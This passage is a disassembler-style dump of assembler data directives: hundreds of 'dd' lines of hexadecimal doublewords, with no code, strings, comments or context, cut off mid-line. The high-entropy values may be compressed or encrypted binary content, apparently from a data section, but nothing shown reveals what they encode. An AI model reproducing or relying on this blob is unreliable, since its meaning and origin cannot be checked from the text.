0C2B782DFh dd 663357FBh, 56358DE0h, 91C94601h, 0B123C0Dh, 36DDFC31h dd 17CF0h, 0B3BB15EBh, 2D866F80h, 52046A76h, 0ACFEABB5h dd 0D9F813C0h, 0EE02002Fh, 0BA21BC96h, 790573CAh, 2BAD29C9h dd 0A777F1C1h, 0DCCD20h, 2C71B162h, 0EF8E5994h, 80BE2D3Bh dd 44749E56h, 1C95F40h, 0C8DC88Ch, 0C41B1458h, 0E30764F2h dd 0FCE9125Ch, 0A2232EA0h, 0C5B9002Ch, 37954C91h, 0EC0093DFh dd 6B4BDC6Fh, 4733EAEh, 97E75382h, 75688091h, 8500ADF2h dd 223AA0A6h, 0CBA7B7h, 2947F748h, 756FBACEh, 4E01A300h dd 44D4E9E3h, 233C0089h, 184BD355h, 0F724D653h, 2C8024DEh dd 98B48C67h, 0A486253Eh, 7BC74002h, 0A2187860h, 3ABFDE00h dd 0FBB180DFh, 0D7AF18F5h, 0E9AB68F4h, 0BCB7290Ch, 0FE0410F6h dd 0E399001Ch, 7F82CF14h, 4C013F69h, 76055A68h, 0AAC0AE74h dd 0ADA01C2h, 8BA3947Ah, 9F54708Ah, 98C9D11Fh, 23110900h dd 28C5311Eh, 0C0C60Fh, 0AC61884Ch, 0A1DA80ABh, 1284F800h dd 38070AE3h, 0ED9EEBFh, 0B5DB1EF2h, 8F170800h, 6DB03D81h dd 51855703h, 0E005BC54h, 773B4B7Dh, 0F5ADF846h, 832A70h dd 5061C1EEh, 0DF92BAFDh, 0E54BC097h, 40A10059h, 44C5A297h dd 0C3092A78h, 804FDF5Fh, 0E9805E98h, 0D63B00C1h, 1B16B44Bh dd 45004858h, 23929E11h, 0A026FE4Ah, 2A27B4h, 34655F31h dd 39521ECAh, 0BB90DD01h, 585BA733h, 26CB56C4h, 0F4DF2Eh dd 0C93451AAh, 5D078090h, 0BECA881h, 4B259830h, 0C0E00D9h dd 2B745BC3h, 22006DF6h, 890DB358h, 0FEC0A1DDh, 9C7B01E5h dd 0B2C5AFF9h, 7010F077h, 7C5F7E00h, 74785CEBh, 0D5A7070Eh dd 708E4AC1h, 4BE53546h, 1B038A71h, 76BA96E2h, 6D34986Fh dd 0A3AB002Ch, 5BD1183Eh, 0ED00A80Ch, 55FFC13Bh, 26DB1A7h dd 90C82606h, 0FCA15F3Fh, 875EA9Ah, 4985120Ch, 73640395h dd 0FD0A24Bh, 0E090BB55h, 45940200h, 9DF1CF1Ah, 12BD0527h dd 53DD1CEh, 41D8BDh, 1BFE5586h, 0F6035011h, 99C0E529h dd 0BF04D817h, 0FFD00F3h, 595270CFh, 0DC1CCC46h, 29C01A69h dd 0E1949F04h, 27EB0F0Bh, 62419E1Fh, 402FED32h, 9C2017D0h dd 7E13E500h, 93C0B233h, 0A1FA00ADh, 509835A4h, 1B0E7C74h dd 0D302E1A0h, 37DA4800h, 0E7D955h, 0EF3A6D8Bh, 70B353D7h dd 5A81D8C7h, 971B74B0h, 4EF700AEh, 34761791h, 830FEAFEh dd 20CC679Eh, 706FE5F8h, 0F1D40559h, 0A034DEB3h, 8CA07753h dd 51009083h, 0C028A3Ah, 3DBFDA3Dh, 268FE1A2h, 9BE1E77Fh dd 30768B81h, 1000EEC5h, 0CF36F17Bh, 1358BFh, 743BEB0Ch dd 5468DC78h, 7F02457Dh, 0AB769EFCh, 641CE03Ch, 0C7310358h dd 2D9DB8EBh, 4BC43E80h, 0AFA58C00h, 229884FCh, 608F48C8h dd 6F83A703h, 25C848C4h, 5E00FFB2h, 0C76226B8h, 0F33DFh dd 0E1412FC2h, 0BBB38D17h, 84009DF0h, 352A63A2h, 9685F0h dd 0C4FC209Ch, 0C5455E36h, 0C902E401h, 71F6CC06h, 1C3E1230h dd 0C3CE62A7h, 42031EE1h, 510E14D0h, 0D0DD0700h, 8C1A84ABh dd 9A353C0Bh, 6ED8CC80h, 0AEBDA714h, 42EC3850h, 0BC7B5F04h dd 0E0C33906h, 899BE8B0h, 0AF5B3F11h, 8E499407h, 0A427C09Eh dd 2FEC0BDh, 2F016700h, 3DD69F3Ah, 79E80EF6h, 0FCEDCEh dd 49EE335Bh, 0DE03C54Ch, 0E1707DB5h, 78107C42h, 0EBBE10CEh dd 0B9061E48h, 0C0F41F00h, 0CC62175h, 0EF25B8CEh, 0EC006830h dd 2C5C5BC7h, 3C9940Bh, 4DDB4156h, 9BE826CAh, 0F10785CFh dd 9CB9BDE9h, 0EABEE18Fh, 4086E062h, 4840A0EDh, 2107DDF0h dd 23C1F332h, 0D926D240h, 4110A8EAh, 69660034h, 0AE7A09D3h dd 37005339h, 0F9031996h, 28C17D9Ah, 48410EBh, 39D68BF7h dd 540F80C0h, 7F0FCD24h, 8059AB1Dh, 420DA2FCh, 83D3008Eh dd 0DA1A100Fh, 0DC1646BCh, 0DC025FECh, 0A075CF99h, 6BB52CC0h dd 0ADDE02D5h, 0A5A33381h, 3D4AC375h, 56004298h, 0A47EF56Ch dd 9F798C03h, 87E748CFh, 63A03BB7h, 189D3F06h, 0D03E535Eh dd 86ECD680h, 0B024E01h, 0C8B6792h, 0BC40E5D1h, 758E7D68h dd 80EB6EECh, 459CABC0h, 0A4006227h, 8DEA6C22h, 0E06B7Fh dd 598832C9h, 622D7610h, 20489032h, 0C19CA049h, 3B3C5A5h dd 0B1557431h, 201F39CAh, 0A68644BBh, 3F2842F0h, 8880F4E2h dd 1B8D629Eh, 0C01B69BBh, 0C921132Ah, 4770B1A9h, 91978BEh dd 0ECD3FEAFh, 7EB60420h, 4F00D4BAh, 7BF1035Ah, 555DB2Ch dd 88593EF0h, 9AAC48EDh, 486C81CFh, 5818F5E8h, 5E6A88h dd 10AF776Ch, 74891CF8h, 590D720Eh, 0A04B80EDh, 973E5C7h dd 0ACF66EDFh, 791A5001h, 54A9F4FCh, 8D0315E4h, 53E58610h dd 0F8648BFDh, 0C2202Dh, 0F8E6228Eh, 0AFAC5971h, 0EAA53Fh dd 0F23A7341h, 7D9B83A3h, 6C3B0166h, 5DDC5ABFh, 5B8FC413h dd 94276000h, 1A24E7D7h, 0DA15009Eh, 0A88C7DFEh, 9B987F33h dd 5543A500h, 0D7D05F41h, 8D6900F1h, 0F258AF4Ah, 63005AC2h dd 66A05D76h, 49E561h, 4FDEF1EAh, 0B9AC998Fh, 0C0D6A00h dd 0C07A5BA0h, 0F67FE5h, 752E0B82h, 0B23A2D42h, 0AF745300h dd 80F37D9Eh, 54500116h, 9DCDC17Ch, 0CA044F82h, 4231CCBh dd 63D605Dh, 8A07B104h, 182A2D9Ch, 1A16EE41h, 0C73FBC8h dd 0B1FD4EC1h, 3001C331h, 4B57E3C8h, 9EE8023Dh, 31740354h dd 8DB68BFDh, 8EBA85E0h, 0EAFFC700h, 0D9A4CE5Ch, 3C1300CAh dd 0DBF7BB93h, 77061435h, 0E776478Ah, 42B60058h, 0DD692351h dd 6E007A72h, 8FC50E3Fh, 0B02645BEh, 20C700ABh, 1E9DDD5Bh dd 97143BE0h, 0B1207ACDh, 0C4C993F9h, 0F3609208h, 4307D9F1h dd 0CA383B06h, 0B79F2483h, 0E01CE3EAh, 1241153Bh, 3C36074h dd 0C92C8C4h, 0CCCA0640h, 7A5CED41h, 12F00B0h, 6FC575E0h dd 5797015Dh, 0BA9282D5h, 0E162CCD0h, 0B763B00h, 0E5D65432h dd 50850A4Dh, 8CB803h dd 0C625691Eh, 6E30CBBCh, 0FAE781DDh, 0B4520297h, 82B53265h dd 0D0906960h, 7DDD5803h, 1FC22EFDh, 81357B88h, 0CBF01566h dd 48BEFAh, 0AD2BEAAFh, 305F55h, 0B0092F77h, 9C14FC6Bh dd 0A71AD72Ch, 0B6863600h, 68E87Fh, 3CF171E2h, 0B9E9D2D6h dd 75BF0158h, 457090C1h, 7087CF3Bh, 807DC721h, 0BF0CDA3Ch dd 807FD20Eh, 0F4CE20B7h, 35D648h, 394BC21Fh, 0DC8E7362h dd 119698A8h, 0EC6B371Ch, 9401E89Fh, 0DD5A5741h, 0D1496098h dd 2245E1Ch, 7D004C83h, 0AE50B3E5h, 0E7CA3399h, 0E4D4F8h dd 7CEB8F6Ah, 1C5384Fh, 9227DE80h, 0B7B4917Fh, 0B39A7500h dd 25B983FEh, 626500A8h, 6BA80C2h, 0ED5444A2h, 0B300DB4h dd 4B9150CEh, 8873005Dh, 9265AE3Ah, 0F501FA8Fh, 3931E0A2h dd 96E9A774h, 88F13020h, 0B704AEEAh, 0D64A56BAh, 0F49C70C8h dd 5261C0EEh, 0BDE2512Ch, 43E1CE0Ah, 26094B8h, 412C221h dd 90AF50F8h, 6ADC41D7h, 56E061B2h, 8CF70106h, 97CDD8B1h dd 0AA22F86Bh, 6A1E74EEh, 0F3FAA488h, 0B572FF01h, 7D83B942h dd 7CA1A840h, 0C45F88CBh, 136E00E9h, 2418CEE1h, 3B5E5380h dd 660F5796h, 66642E7Bh, 7439DAFDh, 0FEB002Fh, 0BD8A272Dh dd 7F48D1E8h, 1BB80618h, 1C28BB88h, 0B1139E2Fh, 80F46C60h dd 9B3D8F69h, 0DD89CCh, 36C8EC41h, 866ED94Eh, 26AD39C0h dd 343C95h, 80933F0Ch, 62C269A2h, 12A71E01h, 9CCCE26Eh dd 849E9440h, 0DCB000B2h, 0AB8A933Bh, 7492C444h, 5F74ECC0h dd 6077E7DFh, 0C74D81F5h, 16009417h, 3CF77F51h, 0CB92EAh dd 531E2B8h, 37A7ADD7h, 0D6491504h, 0FC90106Eh, 9F1FCE0h dd 6A21AF0h, 0D8B22083h, 182A78CEh, 5500D0A5h, 24FE6FDCh dd 912361h, 64AB0D6Bh, 274894DEh, 95B7F218h, 6E28E9h, 3ADF131Ch dd 0C6E92E16h, 0A5019A03h, 0C0316B89h, 31A342B8h, 0B2CCD211h dd 16C05178h, 0C47180B0h, 0A074F565h, 5407037Dh, 0B928F31Eh dd 37CBD3F8h, 0D6FFA213h, 0E116C30h, 494C0087h, 1380AB3Fh dd 9B04DAAFh, 0F86A1062h, 421C60D0h, 0C2E6140Dh, 7CECCCDh dd 0FFD9E5C0h, 9901F19Bh, 62CDEBBFh, 4BE4FE91h, 0FA9CA69Fh dd 39B160C5h, 1467BF82h, 9651FA02h, 4089A75Bh, 26F68A4Ch dd 8724DD4Bh, 0E05044DFh, 0F18C9511h, 53A2FE07h, 0DC2A6F93h dd 0CFC0D41Dh, 58BEDCDEh, 638C0046h, 2AB4C9BAh, 1A00B586h dd 5B05E8B2h, 1CEFC813h, 0D4B7E542h, 0FC89A0C7h, 18692499h dd 1431320h, 9A3801ACh, 2484AB06h, 3A019C5Ch, 0C8EE7EA9h dd 0A0E643A0h, 9603CA4h, 845300A3h, 69404630h, 74E850FEh dd 5D71CA0Eh, 92AEA117h, 58803CA1h, 2915467Dh, 0B0094505h dd 8AE4C4A4h, 404ECC60h, 4CCFC10Ch, 0F18D24E5h, 0CAA56014h dd 930013E3h, 0C01201D1h, 44A3E70h, 80999CDDh, 969B08F6h dd 0B9DC206Eh, 0DA0E1E7Ah, 0E08779EEh, 0FEA54715h, 0CF5E00A7h dd 0FC32408Ah, 0FA126AF2h, 0A809C2D2h, 0A340FCBh, 1C048083h dd 4940843h, 0AF63B082h, 25D1C080h, 121EB79h, 6FD04C61h dd 0D505B584h, 0EC823BFh, 9BD3A1CCh, 3C6EB0C9h, 35900164h dd 4E60E99Eh, 0E8289CD0h, 32C00CA4h, 3A6494A3h, 2481DAAAh dd 0BB2FA681h, 0CD057106h, 0AA832C7h, 0F4E61E17h, 6E13DF11h dd 0FC6440D4h, 0A32A97B1h, 13811501h, 0D9442B98h, 0FE0B8C22h dd 641058C1h, 0F400ED73h, 0D78A95C9h, 0F443F4Eh, 70C453BEh dd 96027580h, 0B30A8DA9h, 60D24058h, 0C881844h, 55DA00FAh dd 546842B1h, 2C3C2737h, 0E0CA8375h, 0E87B57B5h, 939401D2h dd 80689184h, 9983478Fh, 0E4F2006Eh, 86B20A28h, 354C1130h dd 0F054A3A8h, 4A7203h, 0A0660484h, 6BE243D4h, 48EE8300h dd 509B941Fh, 0F68509C7h, 68A8A641h, 2D029F4h, 0F5F96A4Eh dd 10EA34E9h, 7B21DB55h, 0ECE61F9Ch, 2480808Eh, 0AC89DD27h dd 596CF1C4h, 0B30FCA0h, 4AB238FDh, 0C3096430h, 9060692Ah dd 7F9F2103h, 0F37E327Dh, 8077DA79h, 0A6DF5964h, 7F3071BBh dd 1930EF3Eh, 66A501C3h, 943D8BC6h, 4C61CA8Ch, 35747464h dd 38DBCF40h, 23801A51h, 0CA69EC5Eh, 0B5025705h, 94E892E2h dd 99B446B2h, 9FA88074h, 8AD3A79Ah, 1A30BC00h, 0B9ECA086h dd 1CDB0F06h, 79670C8Ch, 8ED080CDh, 0A8A44283h, 0DDA02E02h dd 44D47ABDh, 92382E28h, 10614768h, 0BF341364h, 0F8A8A503h dd 0B1F70998h, 0BC528A57h, 98520Dh, 9F9AC394h, 6532645h dd 68293A07h, 0D423FECAh, 0A8EDA067h, 498E0E2Bh, 0BE2B0697h dd 0FBA7B801h, 0EBB4409Ah, 0C104E7B4h, 670A971h, 1FB8309Ch dd 8348ACAFh, 0C04F1CDAh, 8CE4C4F5h, 0A572F668h, 0BA554000h dd 35736D22h, 0C58807CEh, 0DB01E9h, 43322A3Fh, 0B4CB5324h dd 11801429h, 840A08E8h, 0D7B724F8h, 7BCB0964h, 0F4780439h dd 71C1E7ABh, 0BF305AA6h, 31E44081h, 32FC7F9Eh, 0F15E0030h dd 983F2875h, 0C3EE098Ah, 47806588h, 2918D838h, 4D49DD60h dd 0F6F53383h, 1C855CB8h, 7085B848h, 219888B0h, 0C3D49202h dd 8ECDB861h, 26ABC13Ch, 0FC70602Eh, 0CC885215h, 7BB06480h dd 89071C3Dh, 0BD222E59h, 9EE10B90h, 105414E8h, 0AECBB439h dd 77597902h, 210734C4h, 9B991D26h, 0B69597C0h, 0A2FE642h dd 53E5DD69h, 0CBF86190h, 1DA850E8h, 0E0F45674h, 3B13E100h dd 0B828EE0Ah, 2B6E008Dh, 80340862h, 0AFF060EAh, 9B004098h dd 20450A40h, 9C07BB9h, 950F73B7h, 0A4EC7C32h, 1E98753Ah dd 0AA803477h, 0C9835843h, 69320597h, 83EC672Fh, 2EE075F4h dd 0B1051759h, 12A48828h, 0E419FF0Eh, 23C04769h, 0D4C42Ch dd 0B7F4F5EFh, 0A24C21FFh, 1CCB23Fh, 65D74410h, 7DE43E24h dd 9C1F000Eh, 693499AFh, 70C78DD2h, 2F60C647h, 374BDh dd 9E5D736Eh, 178C0DE0h, 31A79C30h, 801F4667h, 0EC00FB77h dd 98D26C60h, 3ED1BE3h, 1C7CBE92h, 3BD12D4Bh, 0CA4080E4h dd 0BFBC7EB2h, 48AE60A8h, 46016DA2h, 0CB672B00h, 72485A3Fh dd 58070637h, 29B7C4D4h, 0F13B3C0Ch, 0CD77035h, 75843A2Dh dd 97076C88h, 6B31F624h, 68943B80h, 77400FA0h, 4863B6EFh dd 50004366h, 8706025Fh, 2A9D47AFh, 9CFFC1h, 3ED35B0Dh dd 651C7E38h, 6FE6D002h, 85082DF2h, 8C4363B0h, 9804C3A1h dd 1705F5h, 0C4602776h, 5219F689h, 0B7996700h, 44395BD4h dd 6D180CB5h, 8FF8C035h, 1D629175h, 0A079CC49h, 0F9B77A9Ch dd 336200B4h, 0A4708FB3h, 0FC00FBC8h, 0A926291Ch, 899F6Bh dd 77099262h, 7DF4BA70h, 910049DEh, 189DAB45h, 2A92016Fh dd 33F4CB0Bh, 54218A2Bh, 0E6C2C0FFh, 0AA4100B5h, 0D8041F14h dd 805837E3h, 41981582h, 0F4400C9Bh, 4072BD0Eh, 6400C832h dd 0E005AA46h, 0A0ED909Fh, 2C77FC8Ch, 7EAC75h, 0AE289651h dd 78C09591h, 0F9420234h, 64B61FC5h, 2FDBC0BCh, 0C1D2264Ah dd 47DC8C50h, 0EC6DD800h, 0B5A96E91h, 0A75400C5h, 0BA1E2D2Ah dd 0C7288ED5h, 97306478h, 0E29091BFh, 0A0590063h, 9BCCEEB3h dd 95FA641Ah, 0C780D2F9h, 0A9F5D866h, 8C1B0529h, 84EA4F8Eh dd 6090A10Eh, 9283A39h, 588E773Eh, 189E1000h, 0E4A05352h dd 0D097D6BEh, 245D00CDh, 471791D4h, 90C06662h, 54A7ECE9h dd 0A39D0212h, 137C86DAh, 235E4F40h, 990B8B09h, 502983h dd 6E9E3EAEh, 0D0E600D2h, 0A9399BB6h, 20069108h, 7B1A7750h dd 0EC895480h, 25B614D2h, 3A18A441h, 8EF049F6h, 613BC426h dd 56FAAF01h dd 0F4F04433h, 0D6220261h, 0DBD378AAh, 21AD9848h, 7AEF2A1Eh dd 1561C082h, 0A844476h, 8A141285h, 222F80A8h, 4AB4AFD4h dd 25B51809h, 51C02004h, 14BC7341h, 68E709DEh, 40D75A00h dd 0A3237F71h, 0C812F57Ah, 3461EE22h, 42493D5h, 0B43F00BAh dd 0B897F650h, 0FB01AFE7h, 0CBDD9A06h, 40DABEE5h, 600848h dd 80EFF17Ah, 0EE2F0F0Eh, 4423980h, 0BE528C03h, 0FB6A40BCh dd 0B73DED79h, 0F112D978h, 14404348h, 0E7FFFD67h, 189E7096h dd 8985DE76h, 8D13B1EAh, 0C3125C35h, 0C2E58831h, 1D004822h dd 118D73FFh, 4C5CBEDFh, 0DD3BB0h, 0A902E6F0h, 0EC98E960h dd 9458F1F4h, 813E60CEh, 0D69033C0h, 0A1D05000h, 3FB18C20h dd 71294806h, 78FBDB03h, 5E914DDEh, 2F988040h, 4C87E2A4h dd 0CB430FBAh, 0FAC106DCh, 203F6C26h, 6508375Ch, 80A28322h dd 3235A4D3h, 0D2015A05h, 0A9E8808Ah, 5820938Eh, 29B3603Ah dd 0E24849B1h, 40209004h, 48CC7C04h, 86B20056h, 2C74A81Eh dd 949119DBh, 0A3EBD289h, 0B0E3FAB4h, 1DE69C04h, 1F2743A6h dd 9F818ACCh, 20D29350h, 0BFAACDA4h, 7C224900h, 0E21BEE07h dd 90C32452h, 6000B96Ch, 79084684h, 17F8AB58h, 1448263Ah dd 22A4EAAEh, 7967001Fh, 9CBDBE8Eh, 4E16BFE8h, 64601937h dd 2466E5h, 0C9ABA941h, 4259B356h, 16CFB18h, 0EF753C20h dd 8DD79980h, 0AC120E5Fh, 0BE124AE8h, 5860B536h, 929AE117h dd 6EF41370h, 4BA03028h, 2491D56Ch, 0AD362707h, 60B54EA2h dd 0A0EAB2DFh, 622E3CBCh, 5AFE9DCh, 0C9129466h, 8820C7DBh dd 0E8F97Eh, 4925F535h, 8BCC0D2Fh, 0EDC3B200h, 46BA1D7Ch dd 64170F15h, 89F980F4h, 340980D3h, 81C09A78h, 0AFAE0E5Dh dd 0DD0AB308h, 8F19437Ch, 0C5D28909h, 783428F4h, 583CD561h dd 6F5E1880h, 78E541B0h, 7C93753Fh, 1698AD00h, 23E66C64h dd 8B182A48h, 701044D0h, 0DF24BC00h, 0EE8129CFh, 73A22CF7h dd 0B53AE178h, 20311234h, 55A09E2Dh, 0FB032C16h, 895BFF00h dd 14EB0629h, 78996BF4h, 3A09322h, 8B00F65Ah, 0E16FF267h dd 7F2B6B16h, 0C3B71263h, 70C42006h, 7100D394h, 0ADF2FD0Fh dd 74A27B0h, 0A5543E17h, 0B594D353h, 0ED432100h, 41F8202Bh dd 0EBDC03D0h, 953F42ABh, 0B640B182h, 9F7EF5DDh, 2AA030C0h dd 0F0FD1321h, 5F323062h, 0C6E8B718h, 0A18EC901h, 99709B1Eh dd 13C0DDCEh, 0CA7673A8h, 0DABAAD0Fh, 3EA0E156h, 8883C3CCh dd 68DD6AD2h, 0A7A5074h, 1381AECh, 0DF79007Dh, 7B41C8ADh dd 0BDAB0F37h, 4360EA3Dh, 0F73E0324h, 0F356C500h, 0F9680827h dd 0FF70A816h, 505A37B4h, 0BA587058h, 2004434h, 0EC06A270h dd 113285Fh, 8D090304h, 80D9E83Ch, 0E468F3A1h, 0C0E6B56Eh dd 4C117199h, 1215079Dh, 9CDF92h, 7F7EC22Eh, 17619Ch, 34FAE11Eh dd 0C63CD373h, 2D005670h, 0A621D14Fh, 7573E07h, 0B537AA6Bh dd 0B74C8E87h, 9500A749h, 0CB53D2CFh, 327F28Eh, 0F496A4AEh dd 0DDD1DB70h, 0A77CC411h, 91430731h, 0F05055EAh, 3F23A4Dh dd 3C9D90F3h, 8CC06673h, 6B70E9E8h, 0F0D890A0h, 2FD47554h dd 31F3E0F7h, 0DC7EFF1Bh, 28EBF0E1h, 3A71E83h, 148C003Ah dd 2E8A85ADh, 93475E05h, 9C00CD0Bh, 38CE0AF1h, 3BE60011h dd 8307EDD5h, 720012EFh, 0AD9E6547h, 407962CEh, 0B3006AE6h dd 833D0D5Fh, 0F3441Fh, 0D8735216h, 0B420CEC2h, 2C8B49h dd 249F0FDh, 0A12C305h, 2B822432h, 6AF250F4h, 0B4345506h dd 1539CE5Ch, 8C5AF9D9h, 47160200h, 0CEC1207Bh, 24F16839h dd 598E5CD2h, 0A841906Eh, 0BDCF0440h, 4338DFFEh, 56408FA0h dd 879E5F8h, 6548F402h, 6353D5D1h, 87BEB862h, 2F610C0Bh dd 71603F6Dh, 0EEEFBC18h, 0C0637389h, 1C8A7F61h, 3FB0CB50h dd 0A0A2EA2Eh, 3801E009h, 714F4910h, 9203088Ah, 0BC6164F8h dd 8311BBE6h, 0E898DE72h, 744599F3h, 714D8D8h, 0FD15367Ch dd 240850F4h, 5101559Bh, 7233068Bh, 1841F3D9h, 2C40E5BCh dd 1F3FAF78h, 5455279Eh, 0E402B0F7h, 0B8D5A5Ch, 5B625490h dd 0EBA8B0ABh, 540749F5h, 0C469525Ah, 0EC3526h, 0E116207Ch dd 0EBAFBEB7h, 9DBC6F54h, 0EF39DD00h, 9A62F88Dh, 0F0E901B0h dd 0D345CD70h, 3E0420D9h, 0D82470A4h, 2F4074F1h, 0A9CC2DB2h dd 0D19FFAACh, 23056207h, 9A568222h, 88E2F423h, 3C6FFF6Bh dd 0F6808114h, 0E9F9FB20h, 0F0900EA9h, 67957212h, 0B5755000h dd 4C1E3443h, 5B0A5E8Eh, 4C0F579h, 41B46DA8h, 0DA59AF65h dd 8DCD20h, 0BE2581A7h, 0E2C0DF2Bh, 690E600h, 0FAE72269h dd 484C7614h, 70443007h, 88664962h, 6BAFBD00h, 7F03C79h dd 0BF900B02h, 0B0E7D81Eh, 215AF0h, 0E8AFFF8Eh, 24531B3h dd 91CC9230h, 3CA52C50h, 30879BEFh, 0A06A6036h, 8D7E1D65h dd 2FA06100h, 0A64755Eh, 513E0433h, 8349C9B0h, 37F00760h dd 2A2A11FAh, 9B11789Dh, 0D40EB76Dh, 0F7209072h, 0B8C1A6D0h dd 44781D00h, 0A5612FC8h, 7E20F29h, 0EA45FD0Eh, 73BC40F4h dd 771F871Ah, 0A6B4906h, 170B23Dh, 0D6426F7h, 2796B58Ah dd 244914D0h, 0E7150AE8h, 3444F860h, 0D1EC8024h, 3F12C1DBh dd 5406323Ah, 0A9E294h, 600A442Bh, 788E20F4h, 0A66AF901h dd 85412DA8h, 20553DCh, 3F08FB12h, 3C669B02h, 872E5508h dd 35AC8BD1h, 5A6E80F5h, 781BD96h, 0CE1086C6h, 4AF560E1h dd 800D48Eh, 9C19B422h, 4DCB68E7h, 85185C24h, 0B95749A6h dd 4E974400h, 0B0481254h, 0EBBB00EDh, 5FE3A92h, 6F12068Fh dd 6413D20Bh, 8EF96028h, 424E9A12h, 0C115449h, 0FE6FA02Ch dd 37F814D2h, 0FF808487h, 355025D4h, 103FB400h, 868A1443h dd 47D0570h, 8268F7EFh, 7222A1C0h, 9AFC6879h, 958C00C9h dd 16511F5Dh, 5324B510h, 0E0E48482h, 0E1636040h, 8F00CB90h dd 800B1D6Fh, 288B1Eh, 0AB42F1D7h, 17A3192Dh, 87AC954Ch dd 5FC4FABCh, 0F86063C5h, 9DE9C07h, 2D58A315h, 20F3DC94h dd 9C39F00Ch, 551B0314h, 8B889Ah, 0E5061589h, 87D36838h dd 5AA6603h, 0E083A708h, 13F96211h, 46CE3FC2h, 39D9946Ch dd 481890Eh, 144C2051h, 12E41FCEh, 20535870h, 0A4B39C0Ch dd 62F018A0h, 0E25E64A0h, 5D634B00h, 1AFAC69Dh, 61890B4Fh dd 0EC307A31h, 0D24068EAh, 779B007Fh, 0BAAC7B0Eh, 3F0CD15Ch dd 28A5D3B1h, 12A8B02Eh, 4435FADDh, 40B49224h, 977DEB55h dd 6BC702ADh, 0E64522C5h, 1DAFCD82h, 5A7A44C8h, 1852F10h dd 0ECC5F282h, 0C83EC82h, 9508B0E6h, 0F607Fh, 5C1A99E1h dd 70705CBh, 0DA856F96h, 93EE2D23h, 7B303BC0h, 7B0754D4h dd 448849B2h, 5F3C680Ch, 7E309DB1h, 5C9E5997h, 9B473D61h dd 8AB96700h, 742F1F91h, 8E389300h, 8506A158h, 2A131207h dd 0F76000C6h, 5331AF5Eh, 1078BF58h, 0DD85A721h, 2ADC8CE8h dd 0E4AC8Ch, 8750747h, 0C87E274h, 0AEAD9400h, 0A5C418DBh dd 0EA732C38h, 60144744h, 178A5570h, 1994E01h, 83CBF884h dd 8F52680Ch, 0C9E2C0C8h, 116AAAh, 78FC997Dh, 0B4B67E70h dd 0EC7A4C26h, 0C18BBC86h, 0FAF01331h, 82E830E5h, 3D15372Dh dd 8A4432Ah, 60B062h, 5180119Dh, 9407E49Fh, 5E22734Eh dd 0D8D1C1F4h, 7849100Bh, 0E0334121h, 6372E200h, 0A17A5C57h dd 0D7623113h, 0D9FFC820h, 7BDC0FC1h, 8EC1F9D8h, 6612F25Fh dd 3068094Ch, 9D84A058h, 92B388B4h, 28E20078h, 79CB70F4h dd 140910DBh dd 825EA102h, 92076B44h, 0FD604870h, 0E9F764DBh, 6230D2AFh dd 5D023CE4h, 0E472026Fh, 8D48C13Fh, 4973BC11h, 0CCC4D6B4h dd 0D52E0A07h, 0CF84787Fh, 4780B163h, 101EA2CCh, 0CFC0AA38h dd 512E4EBh, 122877F9h, 8C3F56E1h, 2F60721Ch, 0ED4A8559h dd 40EE0578h, 98C6FF51h, 0D4A286BCh, 84C1E460h, 0FA610500h dd 0FB15E118h, 94575499h, 9F2A00FEh, 10620C96h, 7473A1EFh dd 257EC80Fh, 33F304DBh, 822AA5C2h, 845049E4h, 0D945C174h dd 7A60C85Bh, 0A0681148h, 2ED3E24h, 4380DF25h, 78595310h dd 8D5FB841h, 94FAB4D8h, 55239EA0h, 0B4C468E8h, 764B3F3h dd 8A1538A0h, 7D45EB71h, 40329834h, 7BEC9A33h, 0F408F891h dd 813E8A85h, 50B3C1C4h, 30144042h, 4082D2CCh, 4D71990h dd 0BD76B2C4h, 0F098B421h, 5FA12709h, 1F180105h, 3C33F8C7h dd 0DB7EFF0Ch, 4405AEA9h, 11624513h, 731318CBh, 75084068h dd 0E41D7658h, 393F5400h, 0F952AC5Fh, 0E89609EAh, 4860E547h dd 30064311h, 69E3DDA3h, 26FB00A9h, 0DBFA9DB6h, 98993FC6h dd 0BC11FCA4h, 40BE7400h, 0F9C8CDC5h, 0FDA7A900h, 0D93CAD91h dd 0A6370032h, 3221C6Bh, 7C024A05h, 0F9B0A3E9h, 0C60510Dh dd 99D9DA52h, 3D00B091h, 86C10A54h, 0F14E0557h, 40AA9212h dd 258C2294h, 2A0219F5h, 69A4C548h, 2E004623h, 0C414E357h dd 2CCB2Dh, 0E8F8BACCh, 44EE4B1h, 49FE9BACh, 194A20Ah dd 4FC9905Eh, 33ED6D3Bh, 85AFC341h, 9C23CC25h, 80768A1Fh dd 0C31D88E2h, 0AA09E542h, 6E628294h, 0CC2D2284h, 65F17960h dd 140EC81h, 0F3C15BF4h, 26350F9Fh, 10B825E8h, 98DCD0B4h dd 8C58C771h, 0AB51D00Eh, 0FBE2DFB8h, 0DD95290Bh, 92BC90E9h dd 0E79888B5h, 3EFB7F00h, 0CD187053h, 0AA2F04C9h, 0D99EEDE6h dd 0F10441F0h, 0EE3980FCh, 0DB5FB789h, 0A8A6E5h, 95AF344h dd 9FCCF64Ah, 0F04BB4E0h, 9418049h, 0BA444298h, 453884E4h dd 0F91C3056h, 99F6B437h, 2009F493h, 0C8D4909Ah, 1408058Dh dd 0C0E0DF2Eh, 0E8CFBC4Dh, 0CC2AE4A9h, 291D6E6Dh, 0FC27711h dd 809438A8h, 0F74AB830h, 0E8C86099h, 7E78A987h, 0BE6E0100h dd 3467259Ch, 10A61C09h, 0E200FE0Ah, 28177FD8h, 0BF1FF055h dd 0A5C44741h, 0EA801231h, 93E1ABh, 321F8E0h, 57ECADD4h dd 1F1AA701h, 0EFFA256Ch, 1D670887h, 0D82260BBh, 3400BD0Ch dd 12E8EA5Dh, 7A7BA8C8h, 0BBC00EDh, 0DA5ABB8Dh, 5C0C0923h dd 41266AECh, 31AE0F83h, 0FF40DC57h, 0ECD75065h, 0A133609Fh dd 93750009h, 0F78B72BDh, 8506F5FDh, 9652367Eh, 0E4DCEB40h dd 42CA00E5h, 1EB0D41h, 49001435h, 0F8A411A0h, 0C0F4D659h dd 563C6AC0h, 78CF6B74h, 0DC388054h, 74C5145Dh, 0C9780091h dd 9A534B9Fh, 7B012557h, 8B6B1007h, 0F9800E36h, 589B2E1Dh dd 0F0167F6h, 4B1F5AFh, 8848837Dh, 0E5B90062h, 2EB705FAh dd 9105F330h, 74482696h, 1680D01Ch, 7644AC2Ch, 8AD538CDh dd 24467B85h, 12DC21F9h, 3DBC4C8Dh, 0DB5E0100h, 0B5E80E71h dd 8316000Bh, 57955330h, 900CAB7h, 0F2EF3610h, 0EE6C3472h dd 0C72A00F9h, 0CE74B140h, 0C000EBA0h, 0F6664CD4h, 72CDF8Ch dd 